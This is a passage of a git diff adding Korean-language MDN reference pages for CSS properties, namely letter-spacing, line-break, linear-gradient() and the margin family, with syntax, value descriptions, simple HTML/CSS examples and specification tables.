+letter-spacing: unset;
+
+ +

+ +
+
normal
+
현재 글꼴의 기본 간격. 0과 달리, auto는 {{glossary("user agent", "사용자 에이전트")}}가 양쪽 정렬을 위해 간격을 임의로 조절할 수 있습니다.
+
{{cssxref("<length>")}}
+
기본 간격에 추가할 글자간 간격. 음수 값을 지정할 수 있지만 구현에 따라 한계가 있을 수 있습니다. 사용자 에이전트가 간격을 줄이거나 늘리지 않습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<p class="normal">글자 간격</p>
+<p class="em-wide">글자 간격</p>
+<p class="em-wider">글자 간격</p>
+<p class="em-tight">글자 간격</p>
+<p class="px-wide">글자 간격</p>
+
+ +

CSS

+ +
.normal   { letter-spacing: normal; }
+.em-wide  { letter-spacing: 0.4em; }
+.em-wider { letter-spacing: 1em; }
+.em-tight { letter-spacing: -0.05em; }
+.px-wide  { letter-spacing: 6px; }
+
+ +

결과

+ +

{{ EmbedLiveSample('예제', 440, 185) }}

+ +

접근성 고려사항

+ +

letter-spacing 값의 절댓값이 너무 크면 스타일을 적용한 글을 읽기 힘들어집니다. 지나치게 큰 값으로는 글자 간격이 지나치게 넓어져 단어를 이루지 못하고 따로 따로 보입니다. 반대로 지나친 음숫값은 글자가 서로 겹쳐 알아볼 수 없습니다.

+ +

글꼴마다 문자의 너비가 다르므로 읽기에 용이한 간격은 상황에 따라 다릅니다. 모든 글꼴에 적합한 하나의 값은 존재하지 않습니다.

+ + + +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}{{Spec2('CSS3 Text')}}No change.
{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}{{Spec2('CSS3 Transitions')}}Defines letter-spacing as animatable.
{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}{{Spec2('CSS2.1')}}No change.
{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}{{Spec2('SVG1.1')}}Initial SVG definition.
{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}{{Spec2('CSS1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.letter-spacing")}}

+ +

같이 보기

+ +
    +
  • {{cssxref("font-kerning")}}
  • +
diff --git a/files/ko/web/css/line-break/index.html b/files/ko/web/css/line-break/index.html new file mode 100644 index 0000000000..76fabd4316 --- /dev/null +++ b/files/ko/web/css/line-break/index.html @@ -0,0 +1,112 @@ +--- +title: line-break +slug: Web/CSS/line-break +tags: + - CSS + - CSS Property + - CSS Text + - Reference + - i18n + - l10n + - 'recipe:css-property' +translation_of: Web/CSS/line-break +--- +
{{CSSRef}}
+ +

CSS line-break 속성은 한중일(CJK) 3개국어의 텍스트 줄을 어디서 바꿀지 지정합니다.

+ +
/* 키워드 값 */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+line-break: anywhere;
+
+/* 전역 값 */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+
+ +

구문

+ +

+ +
+
auto
+
기본 줄 바꿈 규칙을 사용합니다.
+
loose
+
가장 자유로운 줄 바꿈 규칙을 사용합니다. 보통 신문 등 짧은 줄에서 사용합니다.
+
normal
+
가장 흔한 줄 바꿈 규칙을 사용합니다.
+
strict
+
가장 엄격한 줄 바꿈 규칙을 사용합니다.
+
anywhere
+
+

모든 타이포그래피 글자 단위 주위에서 줄을 바꿀 수 있습니다. 줄 바꿈 위치는 모든 문장 부호, 공백, 단어 중간을 포함하며 GL, WJ, ZWJ 문자 클래스가 나타내는 줄 바꿈 제한 및 {{cssxref("word-break")}}가 요구하는 규칙 모두 무시할 수 있습니다. 붙임표는 사용하지 않습니다.

+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

줄 바꿈 지정하기

+ +

줄 바꿈이 "々", "ぁ", "。"의 주위에서 어떻게 발생하는지 살펴보세요.

+ +

HTML

+ +
<div lang="ja">
+  <p class="wrapbox auto">auto:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox loose">loose:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox normal">normal:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox strict">strict:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+  <p class="wrapbox anywhere">anywhere:<br>そこは湖のほとりで木々が輝いていた。<br>その景色に、美しいなぁと思わずつぶやいた。</p>
+</div>
+
+ +

CSS

+ +
.wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; }
+.auto { line-break: auto; }
+.loose { line-break: loose; }
+.normal { line-break: normal; }
+.strict { line-break: strict; }
+.anywhere { line-break: anywhere; }
+
+ +

결과

+ +

{{ EmbedLiveSample('줄_바꿈_지정하기', 200, 400) }}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}{{Spec2('CSS3 Text')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.line-break")}}

diff --git a/files/ko/web/css/linear-gradient()/index.html b/files/ko/web/css/linear-gradient()/index.html new file mode 100644 index 0000000000..74635f0434 --- /dev/null +++ b/files/ko/web/css/linear-gradient()/index.html @@ -0,0 +1,204 @@ +--- +title: linear-gradient +slug: Web/CSS/linear-gradient() +tags: + - CSS + - CSS Function + - CSS Images + - Graphics + - Layout + - Reference + - Web + - gradient + - 그라데이션 + - 그레이디언트 +translation_of: Web/CSS/linear-gradient() +--- +
{{CSSRef}}
+ +

CSS linear-gradient() 함수는 두 개 이상의 색이 직선을 따라 점진적으로 변화하는 이미지를 생성합니다. 함수의 결과는 {{cssxref("<image>")}}의 특별한 종류인 {{cssxref("<gradient>")}} 자료형입니다.

+ +
{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}
+ + + +

구문

+ +
/* 45도로 기울어진 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(45deg, blue, red);
+
+/* 우하단에서 좌상단으로, 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(to left top, blue, red);
+
+/* 색상 정지점: 아래에서 위로,
+   파랑에서 시작해 길이의 40%에서 초록으로,
+   빨강 종료 그레이디언트 */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* 색상 힌트: 왼쪽에서 오른쪽으로,
+   빨강에서 시작해 길이의 10% 지점에서 중간 색상으로,
+   나머지 90% 길이 동안 파랑으로 변하는 그레이디언트 */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* 다중 위치 색상 정지점: 45도 기울어진,
+   좌하단 절반 빨강, 우상단 파랑 절반에
+   두 색이 만나는 지점을 정확히 나누는 그레이디언트 */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);
+ +

+ +
+
<side-or-corner>
+
그레이디언트 축의 시작점. 지정할 경우, to 이후 최대 두 개의 방향을 나타내는 키워드를 사용할 수 있습니다. 하나는 수평 방향(left 또는 right)이고, 다른 하나는 수직 방향(top 또는 bottom)입니다. 방향 키워드의 순서는 상관하지 않으며, 기본값은 to bottom입니다.
+
to top, to bottom, to leftto right 값은 0deg, 180deg, 270deg, 90deg와 같습니다. 나머지 값은 각도로 변환됩니다.
+
{{cssxref("<angle>")}}
+
그레이디언트 축의 방향. 0degto top과 같습니다. 0 이상의 값을 지정하면 축이 시계방향으로 돌아갑니다.
+
<linear-color-stop>
+
색상 정지점의 {{CSSxRef("<color>")}} 값과 하나 혹은 두 개의 선택적인 정지점 위치. (각각 그레이디언트 축 위의 {{cssxref("<percentage>")}} 또는 {{CSSxRef("<length>")}})
+
<color-hint>
+
color-hint는 두 인접한 색상 정지점 사이에서 그레이디언트가 진행하는 방식을 지정하는 보간 힌트입니다. 길이는 두 정지점 간의 길이에서 어느 지점에 그 중간 색에 도달해야 하는지 지정합니다. 생략할 경우 가운데에서 중간 색에 도달합니다.
+
+
+

참고: CSS 그레이디언트에서의 색상 정지점 렌더링SVG 그레이디언트에서의 색상 정지점과 동일한 규칙을 따라갑니다.

+
+
+
+ +

설명

+ +

다른 그레이디언트와 마찬가지로, 선형 그레이디언트는 본질 크기를 가지지 않습니다. 즉 기본 크기나 선호 크기, 선호 비율이 없으며, 실제 크기는 그레이디언트를 적용한 요소의 크기와 동일해집니다.

+ +

반복하여 컨테이너를 채우는 선형 그레이디언트가 필요하면 {{cssxref("repeating-linear-gradient")}} 함수를 사용하세요.

+ +

<gradient><image>의 한 종류로서 <image>를 사용하는 곳에만 적용할 수 있습니다. 따라서 linear-gradient()는 {{cssxref("background-color")}}와 같은 {{cssxref("<color>")}} 자료형을 받는 속성에는 사용할 수 없습니다.

+ +

선형 그레이디언트의 구성

+ +

선형 그레이디언트는 하나의 축(그레이디언트 라인)과 두 개 이상의 색상 정지점으로 정의할 수 있습니다. 축 위의 점은 모두 고유한 색을 가집니다. linear-gradient() 함수는 부드러운 그레이디언트를 만들기 위해 축과 직교하는 무수한 선을 그리며, 각 수직선의 색은 축과 교차하는 점의 색과 일치합니다.

+ +

linear-gradient.png그레이디언트 축은 그레이디언트 이미지를 담은 직사각형의 중심점과 각도로 정의할 수 있습니다. 그레이디언트 색상은 시작점과 종료점, 그리고 그 사이의 다른 정지점 등 두 개 이상의 색상 정지점이 정의합니다.

+ +

시작점은 그레이디언트 축의 한 점으로, 첫 번째 색상이 시작하는 지점입니다. 종료점은 마지막 색상이 끝나는 지점입니다. 두 점은 직사각형에서 자신과 같은 사분면에 위치하는 꼭지점으로부터 시작하여 그레이디언트 축과 직교하는 지점으로 정의합니다. 종료점은 시작점의 대칭점으로 간단하게 알아둘 수도 있습니다. 이렇게 다소 복잡한 정의로 인해, 시작점과 가장 가까운 꼭지점이 시작점의 색을, 종료점과 가장 가까운 꼭지점이 종료점의 색을 갖는 특이한 효과를 확인할 수도 있습니다. 이 효과는 "매직 코너"라고 불리기도 합니다.

+ +

그레이디언트 만들기

+ +

그레이디언트 축에 색상 정지점을 더 추가하여, 다양한 색 사이로 전환하는, 고도로 맞춤화한 그레이디언트를 만들 수 있습니다. 색상 정지점의 위치는 {{cssxref("<length>")}}나 {{cssxref("<percentage>")}}를 사용해 명시적으로 지정할 수 있습니다. 따로 위치를 정하지 않으면 이전 정지점과 다음 정지점의 중간 지점에 위치합니다. 다음 두 그레이디언트는 동일합니다.

+ +
linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);
+ +

기본적으로 그레이디언트에서 색상 전환은 하나의 색상 정지점에서 다른 색상 정지점으로 부드럽게 일어나고, 가운데 지점은 두 색상의 사이값을 가집니다. 그러나 두 색의 사이에 색상 힌트를 넣어서 직접 색의 중간 지점을 정할 수도 있습니다. 다음 예제의 그레이디언트는 시작점에서 10% 지점까지 완전한 빨강이고, 90% 지점까지는 빨강에서 파랑으로 서서히 전환하며, 마지막 10%는 완전한 파랑입니다. 그러나 빨강과 파랑 사이 전환의 중간 지점은 50%가 아닌 30% 지점이 됩니다.

+ +
linear-gradient(red 10%, 30%, blue 90%);
+ +

두 개 이상의 색상 정지점을 같은 위치에 배치하면 부드럽게 전환하는 대신 이전 색과 다음 색이 경계선을 그리며 바로 바뀝니다.

+ +

색상 정지점의 순서는 오름차순이어야 합니다. 다음 정지점의 위치가 이전 정지점보다 앞이면, 이전 정지점의 위치를 재설정하고 색 전환도 경계선을 그리며 일어납니다. 다음 그레이디언트는 30% 지점에서 빨강에서 노랑으로 바뀌고, 65% 지점까지 파랑으로 전환합니다.

+ +
linear-gradient(red 40%, yellow 30%, blue 65%);
+
+ +

색상 정지점이 여러 위치를 가질 수도 있습니다. 색상을 선언할 때 인접한 두 정지점의 위치를 모두 포함할 수 있습니다. 다음 세 그레이디언트는 모두 같습니다.

+ +
linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);
+ +

기본적으로, 0% 지점에 색을 할당하지 않으면 처음으로 선언한 색이 0%에 배치됩니다. 비슷하게 100% 지점에 색이 없는 경우 마지막 색이 100% 지점까지 도달합니다.

+ +

예제

+ +

45도 기울어진 그레이디언트

+ + + +
body {
+  background: linear-gradient(45deg, red, blue);
+}
+
+ +

{{EmbedLiveSample("45도_기울어진_그레이디언트", 120, 120)}}

+ +

축의 60% 지점에서 시작하는 그레이디언트

+ + + +
body {
+  background: linear-gradient(135deg, orange 60%, cyan);
+}
+ +

{{EmbedLiveSample("축의_60_지점에서_시작하는_그레이디언트", 120, 120)}}

+ +

다중 위치 색상 정지점을 가진 그레이디언트

+ +

이 예제는 다중 위치 색상 정지점을 사용하면서, 인접한 색상 정지점의 위치를 같게 하여 줄무늬 효과를 냅니다.

+ + + +
body {
+  background: linear-gradient(to right,
+     red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}
+ +

{{EmbedLiveSample("다중_위치_색상_정지점을_가진_그레이디언트", 120, 120)}}

+ +

더 많은 예제

+ +

CSS 그레이디언트 사용하기 문서에서 더 많은 예제를 확인하세요.

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}{{Spec2('CSS4 Images')}}Adds interpolation hints.
{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}{{Spec2('CSS3 Images')}}Initial definition.
+ +

브라우저 호환성

+ + + +
{{Compat("css.types.image.gradient.linear-gradient")}}
+ +

같이 보기

+ +
    +
  • CSS 그레이디언트 사용하기
  • +
  • 다른 그레이디언트 함수: {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient")}}
  • +
  • {{CSSxRef("<image>")}}
  • +
  • {{cssxref("element()")}}
  • +
  • {{cssxref("_image","image()")}}
  • +
  • {{cssxref("image-set","image-set()")}}
  • +
  • {{cssxref("cross-fade")}}
  • +
diff --git a/files/ko/web/css/margin-bottom/index.html b/files/ko/web/css/margin-bottom/index.html new file mode 100644 index 0000000000..f374be0438 --- /dev/null +++ b/files/ko/web/css/margin-bottom/index.html @@ -0,0 +1,100 @@ +--- +title: margin-bottom +slug: Web/CSS/margin-bottom +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin-bottom +--- +
{{CSSRef}}
+ +

margin-bottom CSS 속성은 요소의 아래쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}
+ + + +

{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 비대체non-replaced 인라인 요소에는 효과가 없습니다.

+ +

구문

+ +
/* <length> 값 */
+margin-bottom: 10px;  /* 절대 길이 */
+margin-bottom: 1em;   /* 글씨 크기에 상대적 */
+margin-bottom: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-bottom: auto;
+
+/* 전역 값 */
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;
+ +

margin-bottom 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-bottom:   5%; }
+.sidebox { margin-bottom: 10px; }
+.logo    { margin-bottom: -5px; }
+#footer  { margin-bottom:  1em; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#the-margin', 'margin-bottom')}}{{Spec2('CSS3 Box')}}No significant change
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}{{Spec2('CSS3 Transitions')}}Defines margin-bottom as animatable.
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}{{Spec2('CSS2.1')}}Removes its effect on inline elements.
{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-bottom")}}

diff --git a/files/ko/web/css/margin-left/index.html b/files/ko/web/css/margin-left/index.html new file mode 100644 index 0000000000..9e1d9b9953 --- /dev/null +++ b/files/ko/web/css/margin-left/index.html @@ -0,0 +1,160 @@ +--- +title: margin-left +slug: Web/CSS/margin-left +tags: + - CSS + - CSS Property + - Layout + - Reference +translation_of: Web/CSS/margin-left +--- +
{{CSSRef}}
+ +

margin-left CSS 속성은 요소의 왼쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-left.html")}}
+ + + +

구문

+ +
/* <length> 값 */
+margin-left: 20px;  /* 절대 길이 */
+margin-left: 1em;   /* 글씨 크기에 상대적 */
+margin-left: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-left: auto;
+
+/* 전역 값 */
+margin-left: inherit;
+margin-left: initial;
+margin-left: unset;
+
+ +

margin-left 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. margin-left와 margin-right의 값이 모두 auto라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{cssxref("display")}} 값{{cssxref("float")}} 값{{cssxref("position")}} 값auto의 계산 값설명
inline, inline-block, inline-tableanystatic or relative0인라인 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionanystatic or relative0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the element inside its parent.블록 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionleft or rightstatic or relative0블록 레이아웃 모드 (플로팅 요소)
any table-*, except table-captionanyany0내부 table-* 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.
any, except flex, inline-flex, or table-*anyfixed or absolute0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the border area inside the available width, if fixed.절대위치 레이아웃 모드
flex, inline-flexanyany0, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal auto margins.플렉스박스 레이아웃 모드
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-left: 5%; }
+.sidebox { margin-left: 10px; }
+.logo    { margin-left: -5px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-margin', 'margin-left') }}{{ Spec2('CSS3 Box') }}No significant change
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-left') }}{{ Spec2('CSS3 Transitions') }}Defines margin-left as animatable.
{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-left')}}{{ Spec2('CSS3 Flexbox') }}Defines the behavior of margin-right on flex items.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-left') }}{{ Spec2('CSS2.1') }}Removes its effect on inline elements.
{{ SpecName('CSS1', '#margin-left', 'margin-left') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-left")}}

diff --git a/files/ko/web/css/margin-right/index.html b/files/ko/web/css/margin-right/index.html new file mode 100644 index 0000000000..8547ce5bcd --- /dev/null +++ b/files/ko/web/css/margin-right/index.html @@ -0,0 +1,159 @@ +--- +title: margin-right +slug: Web/CSS/margin-right +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin-right +--- +
{{CSSRef}}
+ +

margin-right CSS 속성은 요소의 오른쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-right.html")}}
+ + + +

구문

+ +
/* <length> 값 */
+margin-right: 20px;  /* 절대 길이 */
+margin-right: 1em;   /* 글씨 크기에 상대적 */
+margin-right: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-right: auto;
+
+/* 전역 값 */
+margin-right: inherit;
+margin-right: initial;
+margin-right: unset;
+
+ +

margin-right 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
사용한 레이아웃 모드에 따라 가로축 미사용 공간 너비의 일부를 바깥 여백에 할당. margin-left와 margin-right의 값이 모두 auto라면 너비를 양 여백에 동일하게 배정합니다. 아래 표가 가능한 여러 경우를 보입니다. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
{{cssxref("display")}} 값{{cssxref("float")}} 값{{cssxref("position")}} 값auto의 계산 값설명
inline, inline-block, inline-tableanystatic or relative0인라인 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionanystatic or relative0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the element inside its parent.블록 레이아웃 모드
block, inline, inline-block, block, table, inline-table, list-item, table-captionleft or rightstatic or relative0블록 레이아웃 모드 (플로팅 요소)
any table-*, except table-captionanyany0내부 table-* 요소는 바깥 여백을 가지지 않습니다. 대신 {{ cssxref("border-spacing") }}을 사용하세요.
any, except flex, inline-flex, or table-*anyfixed or absolute0, except if both margin-left and margin-right are set to auto. In this case, it is set to the value centering the border area inside the available width, if fixed.절대위치 레이아웃 모드
flex, inline-flexanyany0, except if there is any positive horizontal free space. In this case, it is evenly distributed to all horizontal auto margins.플렉스박스 레이아웃 모드
+
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-right: 5%; }
+.sidebox { margin-right: 10px; }
+.logo    { margin-right: -5px; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Box', '#the-margin', 'margin-right') }}{{ Spec2('CSS3 Box') }}No significant change
{{ SpecName('CSS3 Transitions', '#animatable-css', 'margin-right') }}{{ Spec2('CSS3 Transitions') }}Defines margin-right as animatable.
{{SpecName('CSS3 Flexbox', '#item-margins', 'margin-right')}}{{ Spec2('CSS3 Flexbox') }}Defines the behavior of margin-right on flex items.
{{ SpecName('CSS2.1', 'box.html#margin-properties', 'margin-right') }}{{ Spec2('CSS2.1') }}Removes its effect on inline elements.
{{ SpecName('CSS1', '#margin-right', 'margin-right') }}{{ Spec2('CSS1') }}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-right")}}

diff --git a/files/ko/web/css/margin-top/index.html b/files/ko/web/css/margin-top/index.html new file mode 100644 index 0000000000..008ab67ade --- /dev/null +++ b/files/ko/web/css/margin-top/index.html @@ -0,0 +1,100 @@ +--- +title: margin-top +slug: Web/CSS/margin-top +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin-top +--- +
{{CSSRef}}
+ +

margin-top CSS 속성은 요소의 위쪽에 바깥 여백 영역margin area을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.

+ +
{{EmbedInteractiveExample("pages/css/margin-top.html")}}
+ + + +

{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 비대체non-replaced 인라인 요소에는 효과가 없습니다.

+ +

구문

+ +
/* <length> 값 */
+margin-top: 10px;  /* 절대 길이 */
+margin-top: 1em;   /* 글씨 크기에 상대적 */
+margin-top: 5%;    /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-top: auto;
+
+/* 전역 값 */
+margin-top: inherit;
+margin-top: initial;
+margin-top: unset;
+ +

margin-top 속성은 키워드 auto<length>, <percentage>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.

+ +

+ +
+
{{cssxref("<length>")}}
+
바깥 여백 크기의 고정 값.
+
{{cssxref("<percentage>")}}
+
바깥 여백 크기와 블록 컨테이너 너비의 비율.
+
auto
+
브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +
.content { margin-top:   5%; }
+.sidebox { margin-top: 10px; }
+.logo    { margin-top: -5px; }
+#footer  { margin-top:  1em; }
+
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Box', '#the-margin', 'margin-top')}}{{Spec2('CSS3 Box')}}No significant change
{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-top')}}{{Spec2('CSS3 Transitions')}}Defines margin-top as animatable.
{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-top')}}{{Spec2('CSS2.1')}}Removes its effect on inline elements.
{{SpecName('CSS1', '#margin-top', 'margin-top')}}{{Spec2('CSS1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.margin-top")}}

diff --git a/files/ko/web/css/margin/index.html b/files/ko/web/css/margin/index.html new file mode 100644 index 0000000000..a1048fb37e --- /dev/null +++ b/files/ko/web/css/margin/index.html @@ -0,0 +1,176 @@ +--- +title: margin +slug: Web/CSS/margin +tags: + - CSS + - CSS Property + - Reference +translation_of: Web/CSS/margin +--- +
{{CSSRef}}
+ +

margin CSS 속성은 요소의 네 방향 바깥 여백 영역을 설정합니다. {{cssxref("margin-top")}}, {{cssxref("margin-right")}}, {{cssxref("margin-bottom")}}, {{cssxref("margin-left")}}의 단축 속성입니다.

+ +
{{EmbedInteractiveExample("pages/css/margin.html")}}
+ + + +

위와 아래 여백은 대체 요소가 아닌 {{HTMLElement("span")}}, {{HTMLElement("code")}} 등 인라인 요소에선 아무 효과도 없습니다.

+ +
+

참고: margin은 요소의 주위에 빈 공간을 추가합니다. 반면 {{cssxref("padding")}}은 요소의 내부에 빈 공간을 만듭니다.

+
+ +

구문

+ +
/* 네 면 모두 적용 */
+margin: 1em;
+margin: -3px;
+
+/* 세로방향 | 가로방향 */
+margin: 5% auto;
+
+/* 위 | 가로방향 | 아래 */
+margin: 1em auto 2em;
+
+/* 위 | 오른쪽 | 아래 | 왼쪽 */
+margin: 2px 1em 0 auto;
+
+/* 전역 값 */
+margin: inherit;
+margin: initial;
+margin: unset;
+
+ +

margin 속성은 한 개, 두 개, 세 개, 혹은 네 개의 값으로 지정할 수 있습니다. 각 값은 {{cssxref("<length>")}}, {{cssxref("<percentage>")}} 또는 키워드 {{anch("auto")}} 중 하나입니다. 음수 값은 요소와 이웃의 거리가 더 가까워지도록 합니다.

+ +
    +
  • 한 개의 값은 모든 네 면의 여백을 설정합니다.
  • +
  • 두 개의 값을 지정하면 첫 번째는 위와 아래, 두 번째는 왼쪽과 오른쪽 여백을 설정합니다.
  • +
  • 세 개의 값을 지정하면 첫 번째는 , 두 번째는 왼쪽과 오른쪽, 세 번째 값은 아래 여백을 설정합니다.
  • +
  • 네 개의 값을 지정하면 각각 상, 우, 하, 좌 순서로 여백을 지정합니다. (시계방향)
  • +
+ +

+ +
+
{{cssxref("length")}}
+
여백의 크기로 고정값 사용.
+
{{cssxref("<percentage>")}}
+
여백의 크기로 컨테이닝 블록 너비의 백분율 사용.
+
auto
+
브라우저가 적절한 여백 크기를 선택. 예를 들어 요소를 중앙 정렬하고 싶을 때 사용할 수 있습니다.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

간단한 예제

+ +

HTML

+ +
<div class="center">이 요소는 중앙 정렬입니다.</div>
+<div class="outside">이 요소는 컨테이너 밖으로 빠져 나갔습니다.</div>
+ +

CSS

+ +
.center {
+  margin: auto;
+  background: lime;
+  width: 66%;
+}
+
+.outside {
+  margin: 3rem 0 0 -3rem;
+  background: cyan;
+  width: 66%;
+}
+ +

{{ EmbedLiveSample('간단한_예제') }}

+ +

더 많은 예제

+ +
margin: 5%;                 /* 모두 5% */
+
+margin: 10px;               /* 모두 10px */
+
+margin: 1.6em 20px;         /* 상하: 1.6em */
+                            /* 좌우: 20px  */
+
+margin: 10px 3% -1em;       /* 상: 10px */
+                            /* 좌우: 3% */
+                            /* 하: -1em */
+
+margin: 10px 3px 30px 5px;  /* 상: 10px */
+                            /* 우:  3px */
